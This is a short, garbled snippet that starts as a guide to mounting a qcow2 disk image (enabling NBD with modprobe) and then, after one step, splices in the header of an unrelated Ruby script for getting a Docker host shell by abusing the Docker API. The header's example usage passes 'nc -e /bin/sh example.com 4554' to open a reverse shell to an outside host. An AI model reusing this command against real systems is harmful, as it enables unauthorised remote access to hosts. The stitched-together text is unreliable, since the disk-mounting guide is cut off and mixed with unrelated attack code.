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How to mount a qcow2 disk image

This is a quick guide to mounting a qcow2 disk images on your host server. This is useful to reset passwords, edit files, or recover something without the virtual machine running.

Step 1 - Enable NBD on the Host

modprobe nbd max_part=8

	#!/usr/bin/env ruby
	# Get Docker Host Shell abusing Docker API
	# Copyright (C) 2015 Kost. Distributed under GPL.
	#
	# Prerequisite:
	# gem install docker-api
	#
	# Example:
	# ./docker_get_host_shell.rb -v -s 'nc -e /bin/sh example.com 4554' tcp://example.com:5422
	#

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